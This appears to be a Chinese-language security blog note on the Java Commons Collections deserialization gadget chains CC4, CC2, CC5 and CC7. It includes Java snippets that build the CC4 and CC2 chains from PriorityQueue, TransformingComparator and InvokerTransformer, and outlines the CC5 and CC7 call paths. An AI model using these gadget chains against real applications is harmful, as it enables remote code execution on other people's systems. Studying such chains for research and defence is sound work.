java-cc4、cc2、cc5、cc7

##cc4
###为什么需要cc4
cc4使用的版本是

在这个版本中有个类发生了变化,所以可以进行反序列化
##cc4构造
cc4中,这个类实现了serialize接口,并且在

其compare函数中实现了transform方法,因此,我们只需要找到能到达这个compare方法的链子即可

在PriorityQueue这个类的readObject中存在

进入heapify函数中可以发现,前提是size序列要大于等于2,才能进入到for循环中

接下来再继续,就调用到了这个compare

前面的部分和之前的一样,区别就是后面的封装

TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));

PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);

priorityQueue.add(1);
priorityQueue.add(2);

Class c = transformingComparator.getClass();
Field transformingtcon = c.getDeclaredField("transformer");
transformingtcon.setAccessible(true);
transformingtcon.set(transformingComparator,chainedTransformer);

##CC2
和CC4的区别:
使用的是invoketransformer,而template(任意代码执行内容)是在后面传入的

InvokerTransformer<Object,Object> invokerTransformer = new InvokerTransformer<>("newTransformer",new Class[]{},new Object[]{});
TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));

PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);

priorityQueue.add(template);
priorityQueue.add(2);

Class c = transformingComparator.getClass();
Field transformingtcon = c.getDeclaredField("transformer");
transformingtcon.setAccessible(true);
transformingtcon.set(transformingComparator,invokerTransformer);

但是这里就抛出了一个问题,为什么第一次add的时候才能实现命令执行,因为在反序列化的过程中invoketransformer是一个消耗品,此时已经在add的元素为1的时候被消耗掉了,所以就轮不到template了,和之前的cc6是一个问题。

而cc2和其他的链子最大一个区别是这里没有用到数组的处理方式(也就是chainedtransformer),因此在有些数组加载不到的情况下可以使用cc2

##cc5
cc5和其他区别主要是在Lazymap的get方法的调用链中,使用的是其他类来触发get方法,:BadAttributeValueExpException.readObject->TiedMapEntry.toString
所以如果遇到toString方法的时候可以用cc5来进行构造

##cc7
Hashtable.readObject -> AbstractMap.equals->xx.get
这里比较特别的是这个equals是有点继承的意味在里面,向上继承才用到的

java-cc4、cc2、cc5、cc7

http://example.com/2023/01/12/javacc4/

Author

vague huang

Posted on

2023-01-12

Updated on

2023-02-10

Licensed under

Comments